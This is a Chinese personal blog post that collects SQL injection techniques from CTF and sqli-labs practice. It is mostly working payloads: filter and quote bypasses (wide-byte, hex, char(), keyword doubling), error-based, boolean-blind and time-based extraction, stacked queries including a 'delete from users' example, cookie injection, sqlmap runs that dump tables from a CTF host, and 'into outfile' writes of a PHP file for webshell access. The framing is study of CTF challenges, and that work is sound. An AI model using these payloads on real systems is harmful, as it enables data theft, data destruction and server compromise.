sql注入姿势总结

大佬绕过
很久没刷sql注入了,然后就忘得差8多了,为此觉得有必要总结一手

注意在hackbar里输入+之类的符号和在url栏里输入是有差别的

关于绕过

单引号绕过

当sql语句是用单引号闭合,而单引号又被限制时,绕过的一些方法

用\将原有的’转义掉

eg:

1
?username=1\&password=1 or 1=1#

(此处注意,如果浏览器使用burp代理或hackbar发送,注意检查把payload中的’'换成’\‘,否则会发现burp在发送请求时’'已经被转义,图为burp代理下用hackbar发送请求结果)

用char()函数绕过

eg:
将 where table_schema=’c’替换为where table_schema=char(99)

宽字节攻击绕过

宽字节注入原理:
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

空格绕过

注释绕过空格

eg:

1
/*!select*//*!version()*/

emmmmmm….

等于号绕过

1
2
where table_schema='geek'
where (table_schema) like ('geek')

关键词绕过

双写绕过 && 大小写绕过

selselectect
mysql是8分大小写的,你懂的

16进制: 绕过被屏蔽的表名、列名、数据库名

用16进制编码代替关键字,只可用来查询被屏蔽的表名等(8能绕过select)
比如’admin’的16进制:
0x61
0x64
0x6d
0x69
0x6e
于是:
select * from user where username = 0x61646d696e;

关键字过滤-代替表

空格: /**/ %20 %a0 %0a +
and: &&
or: ||
limit: having
select: ⼀般是堆叠注⼊

information_schema:
mysql.innodb_table_stats
innodb_index_stats
sys.schema_table_statistics_with_buffer
sys.schema_auto_increment_columns

handler绕过select过滤

handler是mysql专用的

常用查询语句

虽说应该记住,但不练手老是忘…
group_concat(id,username,passowrd) from table1;
group_concat: 把column里的所有内容用,连成1个
database()
查询schema:
-1’ ununionion seleselectct 1,2,schema_name frofromm infoorrormation_schema.schemata;# //此处是information_schema.schemata
show databases;

基础有回显的注入

双查询注入

什么是双查询注入

双查询注入,俺的理解大概就是就是select语句里再套1个select,比如: select concat((select database()));

双查询注入原理

就是利用报错来回显数据
原理: 有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来
若想详细了解,阔以参考这篇博客: 链接

注意事项

利用limit n,1

有时候会限制输出的行数,这时往往会报错: Subquery returns more than 1 row
这时就要巧用limit,比如:

1
2
3
4
5
6
(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 3,1)
(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 2,1)
(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 1)
.
.
.

floor()报错

eg:

1
union select count(*),concat((payload),floor(rand()*2))-- 

搬运工,阔以看看这个双查询报错原理
大致就是利用floor报错。听君一席话,如听一席话

updatexml()报错

eg:

1
and updatexml(1,concat('~',(payload)),1)-- 

原理简单,不解释,继续搬运, updatexml()报错原理
concat时也阔以用’‘等xml格式不支持的字符eg: concat(‘‘,(payload),1) , 以~开头的东东8是xml语法,就会返回报错

extractValue()报错

eg:

1
and extractvalue('shit',concat('~',payload))-- 

搬运。。。extractValue()报错原理
和updatexml()原理类似

0hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!!!!!!!!!!!!!!!!

我超,到盲注了

参考:链接
盲注就是在注入过程中数据不能回显到前端页面,全靠猜(所以叫布尔)
而又因为全靠猜,所以得搓脚本

3种类型: 基于布尔、时间、报错的盲注

大致说明

基于时间: 注入,猜测是对是错,由时间来做抉择,如果是对,延迟几秒再显示页面,如果是错,就正常显示页面

基于布尔: 其实跟时间很像,只不过做裁决的不再是时间,而是返回的数据本身,比如,在sqli_labs第8关里,查ABC这一数据,问第一个字母的 ASCII 值是不是大于 100 ,如果正确,页面就会显示 you are in…,如果错误就什么都不显示

基于报错,通过一些函数特性报错得到需要的结果

可能会用到的payload

基于时间

1
if(ascii(substr(database(),1,1))>115,sleep(5),0)-- 

基于报错

1
select count(*) from information_schema.tables group by concat((select database()),floor(rand()*2))

如果information_schema报错了,那就用:

1
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand()*2))

如果rand被禁用了,可以使用用户变量来报错(用了一下,不明觉厉):

1
select min(@a:=1) from information_schema.tables group by concat(password,@a:(@a+1)%2)

还可以利用double数值类型超出范围,exp() 为以 e 为底的对数函数,mysql 版本需为 5.5.5 及其以上(用了一下,它的报错返回不明所以,先留着吧)

1
select exp(~(select * from(select user())a))

利用 mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
extractvalue(1,concat(0x7e,(select @@version),0x7e))
updatexml(1,concat(0x7e,(select @@version),0x7e),1)

大致操作流程

首先判断你要查的东西的名字长度,比如数据库:

1
and (length(database())=8) --

然后通过ascii一个一个猜

1
and (ascii(substr(database(),1,1))=115) -- 

时间盲注

sqli_labs第9关,无论后面的拼接语句正确与否,都返回同样的结果
这时就要用到时间盲注,通过sleep()判断是否正确
而前面判断单双引号及闭合时,也要通过and sleep(5)判断是否正确
简单举例,不赘述

1
and if(database()='security',sleep(5),1)-- 

sleep()
benchmark(10000000,sha(1)) (约等于3s)

堆叠注入

eg:
buuctf: [强网杯 2019]随便注
堆叠注入很强大,可以用于执行任何SQL语句。
堆叠注入原理
就是用’;’把1个语句结束,再用继续输入其他的语句
eg:

1
mysql> select * from users where id =1;delete from users;

堆叠注入的局限性
堆叠注入不是任何情况下都能使用的(大多数时候,因为API或数据库引擎的不支持玄学问题,堆叠注入都无法实现)

exp报错注入(5.5< mysql版本< 5.6)

原理:
exp():计算e的x次方的函数,数字太大会产生溢出,在参数>=709时报错
然后在此条件上进行一些看8懂的奇怪操作,然后payload就有了

1
2
and (exp(~(select * from (payload) a)))
select (select(!x-~0)from(select(select user())x)a);

eg:
select * fromusers where and (exp(~(select * from (payload) a)));
应用条件
5.5< mysql版本< 5.6 (啊这..)

BIGINT溢出错误

1个比较详细的链接

原理:
大致就是最大的整数通过计算产生了溢出报错,有了报错,然后你懂的…
?id=1’ union select (!(select * from (select user())x) - ~0),2,3–+

NAME_CONST()报错注入

原理:
mysql列名重复会导致报错,通过name_const制造一个列
payload:

1
and exists(select * from (select * from(select name_const(payload,0)) a join (select name_const(payload,0)) b)c)

主键重复报错

条件: version< 5.5.53
select * from user where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

几何函数报错

5.7.17 > version > 5.5.47

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
geometrycollection()
select * from user where id=1 and geometrycollection((select * from(select *
from(select user())a)b));
multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select
user())a)b));
polygon()
select * from test where id=1 and polygon((select * from(select * from(select
user())a)b));
multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select
user())a)b));
linestring()
select * from test where id=1 and linestring((select * from(select * from(select
user())a)b));
multilinestring()
select * from user where id=1 and multilinestring((select * from(select *
from(select user())a)b));

sql约束攻击

原理:
sql中 insert 和 select 对⻓度和空格的处理⽅式差异造成的漏洞:select 语句对于参数后⾯空格的处理是删除,
insert 只是截取最⼤⻓度25的字符串,然后插⼊数据库。
假设⼀种情况,⽹⻚输⼊⽤户名,⾸先检查⽤户名是否在数据库中,如果不在就注册为新⽤户

  1. 数据库中存在⼀个管理员 admin
  2. 我们输⼊⼀个⽤户名为 admin+20个空格+1
  3. 检查的时候调⽤ select 语句,空格被删除,剩下了 admin1 ,不在数据库中
  4. 调⽤ insert 注册 admin+20个空格+1 作为新的⽤户 ,这时该⽤户使⽤我们设置的密码
  5. 我们再输⼊ admin 进⾏查询,select 语句就会返回两条数据,⼀条是原本的 admin,另⼀条是被select截取了的admin,第⼆个admin可以匹配我们设置的密码,就可以登陆了

新版本mysql已经修复 insert 时⾃动截取的问题

Unicode欺骗(ᴬᴰᴹᴵᴺ)

[HCTF 2018]admin,这题简单到侮辱智商,但是wp里的方法还是有必要学习一下

进入页面,先是注册账户界面(sql注入/xxe??)
然后注册后发现阔以上传文件(文件上传漏洞?)

先试试文件上传漏洞:
上传成功,但是连8了…..

试试在登陆界面用sql注入,以及在注册界面试试sql约束攻击
还没等试呢,然后在渗透中莫名其妙就出flag了…看了wp才知道,账号admin,密码就是123,在sql注入的时候误输输对了….

这道题的正常解法有2种

unicode欺骗

Unicode欺骗指的是域名中的ASCII字符被替换为Unicode集中的相似字符

在这道题里,我们阔以注册1个ᴬᴰᴹᴵᴺ用户,然后后台的转化机制是这样的: ᴬᴰᴹᴵᴺ -> ADMIN -> admin
然后就阔以用自己的密码登录这个admin辣
类似sql约束攻击,网上还有这个漏洞的进阶版: unicode漏洞,看完感觉很流批

cookie注入

cookie是什么就8用说了,写在请求里,burp可以随意改,本质上和sql注入木得区别
要想了解Cookie注入的成因,必须要了解ASP脚本中的request对象。它被用于从用户那里__获取信息__。
Request对象的使用方法一般是这样的:request.[集合名称 ](参数名称),比如获取从表单中提交的数据时可以这样写:request.form(“参数名称”),但ASP中规定也可以省略集合名称,直接用这样的方式获取数据:request(“参数名称”)。
当使用这样的方式获取数据时,ASP规定是按QueryString、Form、Cookies、ServerVariables的顺序来获取数据的。这样,当我们使用request(“参数名称”)方式获取客户端提交的数据,并且没有对使用request.cookies(“参数名称”)方式提交的数据进行过滤时,Cookie注入就产生了。

检测是否存在cookie注入

1.寻找形如“.asp?id=xx”类的带参数的URL。 (eg: s/hit.asp?id=123)
2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。
3.清空浏览器地址栏,输入“javascript:alert(document.cookie=”id=”+escape(“xx”));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用使用Request(“id”)这种方式获取数据的。
4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:“javascript:alert(document.cookie=”id=”+escape(“xx and 1=1”));” “javascript:alert(document.cookie=”id=”+escape(“xx and 1=2”));”。和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入
5.使用常规注入语句进行注入即可

sqlmap笔记速查

1
2
3
4
1.GET参数注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"
2.POST参数注入
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1" --data="id=1"

一次实战:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sqlmap -u "http://114.67.175.224:10497/" --data='id==1'

[16:53:34] [INFO] resuming back-end DBMS 'mysql'
[16:53:34] [INFO] testing connection to the target URL
web server operating system: Linux CentOS 6
web application technology: Apache 2.2.15, PHP 5.3.3
back-end DBMS: MySQL >= 5.0.12
[16:53:34] [INFO] fetching current database
current database: 'skctf' # 查到数据库
[16:53:34] [INFO] fetched data logged to text files under '/home/tbmk/.local/share/sqlmap/output/114.67.175.224'

sqlmap -u 'http://114.67.175.224:10497/' --data='id=1' --current-db #查询DBMS(数据库管理系统当前数据库)
# 以及还可查询用户: --current-user

sqlmap -u 'http://114.67.175.224:10497/' --data='id=1' -D 'skctf' --tables #查skctf下的所有表
sqlmap -u 'http://114.67.175.224:10497/' --data='id=1' -D 'skctf' -T 'fl4g' --columns #查columns
sqlmap -u 'http://114.67.175.224:10497/' --data='id=1' -D 'skctf' -T 'fl4g' -C 'skctf_flag' --dump #查字段的内容

姿势: 重命名&预处理语句

[强网杯 2019]随便注,简单的有回显注入
考察了堆叠注入,以及你8会的一些sql语法

然后禁止了一些关键词如select等,然后可以通过一些方法猜出数据库长度、名称,但事实上8用这么麻烦:

1
1';show databases;#

可以得到2个表: words和1919810931114514
查看words表:

1
1' show `words`;#

注意此处words为反勾号(事实上不加也可以),关于勾号和反勾号再科普一下: linux下不区分,win下区分,勾号用来包含字符串,反勾号用来包含表、数据库、索引等
然后获得columns: id、data
再查看1919810931114514的columns(注意此处就需要加反勾号了): flag
然后就要想办法获取flag字段了

姿势1-重命名

未过滤alert、rename,可以进行表、列的修改
“因为这里有两张表,回显内容肯定是从word这张表中回显的”
那就把1919810931114514改名为words,再把flag改名为id,就阔以查询了
payload:

1
2
3
4
5
1';RENAME TABLE `words` TO `words1`;  
RENAME TABLE `1919810931114514` TO `words`;
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
# character: 字符集, 这段话的意思是: 修改表的字段的字符集
show columns from words;#

此处第3个语句对column进行改名,如果使用普通的改名语句是8行的比如:

1
alter table `table_name` rename column 'name1' to 'name2'

涉及到对字符编码的修改,至于为啥要用utf-8,我也很迷….(那自然是因为用的普遍了)
但不修改为啥不行呢? 这是真的8懂

最后用 1’ or ‘1’=’1 就阔以查询得flag了

修改column的字符集

eg: 修改表的字段的字符集
[字符集 utf8,排序规则 utf8_general_ci] (collate: 整理)

1
ALTER TABLE user CHANGE name VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci;

姿势2-预处理语句 + char() + concat()绕过关键字屏蔽

首先扫盲,啥是预处理

预处理语句使用方式

所谓预编译语句就是将SQL语句中的值(表名、列名等)用占位符替代,可以视为将 SQL 语句模板化或者说参数化

定义预处理语句

1
PREPARE stmt_name FROM preparable_stmt;

执行预处理语句

1
EXECUTE stmt_name [USING @var_name [, @var_name] ...];  -- execute: 执行

删除(释放)定义

1
DEALLOCATE|DROP PREPARE stmt_name;  -- deallocate: 解除分配

payload

1
1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#

卧槽…..这操作…..

不算方法的姿势: md5闭合sql语句

算是用来开扩思路的吧
[BJDCTF2020 ]Easy MD5 进入页面,发现就一个表单提交窗口,提交了啥也8淦, 也么有提示…这题让我感觉应该做个关于如何在ctf里找hint的总结….总之今天比较眼花,做了几道题都找8到hint

看了看wp,发现在抓包后返回的response里有hint: Hint: select * from ‘admin’ where password=md5($pass,true)
混在response头里,就踏马离谱….(真实的渗透怎么会用到这种技巧啊我丢)

所以,根据这个hint,显然是sql注入,进行构造…..个p,这….能构造吗? 闭合8了啊
看wp,发现还真能闭合…..无知限制了我的想象力….(因为8知道md5的值阔以是任何数,以及md5返回的值是二进制流,以及sql的select语句的1个特性…)
也就是说如果md5值经过hex转成字符串后为 ‘or’+balabala这样的字符串,则拼接后,当’or’后的语句值为true时,就阔以实现绕过…

再来看sql语句的1个特性:

1
2
3
4
5
select * from `admin` where password=''or'1abcdefg'    --->  True
select * from `admin` where password=''or'0abcdefg' ---> False
select * from `admin` where password=''or'1' ---> True
select * from `admin` where password=''or'2' ---> True
select * from `admin` where password=''or'0' ---> False

然后你懂的,网上找1个比较常见的: ‘ffifdyop’,这个字符串被md5加密后就满足’or 1+balabala’的形式,真是骚操作啊,实在么想到

outfile关键字

outfile是将检索到的数据,保存到服务器的文件内:
格式:select * into outfile “文件地址”
eg:

1
mysql> select * into outfile 'f:/mysql/test/one' from teacher_class;

然后你生成了文件之后再通netcat或菜刀去连就好
(tips:如果你第一次生成了1个文件,第二次写入文件就要换个名字,要不然第一个文件是无法改写的)

datadir

datadir是MySQL数据存储位置,是默认的相对位置

查询时候加上@@ 如@@secure_file_priv、@@datadir
eg:

1
select database(),user() @@datadir into outfile '5h1t/t3xt.php'

把你要爆的信息写入文件,再用netcat、菜刀啦什么的访问

secure_file_priv

secure_file_priv 用来限制导出效果。他有三个属性:
null: 限制不能导出
为空: 可以自定义
为路径: 则只能导出到指定路径

待更


sql注入姿势总结
https://bl4zygao.github.io/2021/12/17/sql注入姿势的总结/
Author
bl4zy
Posted on
December 17, 2021
Licensed under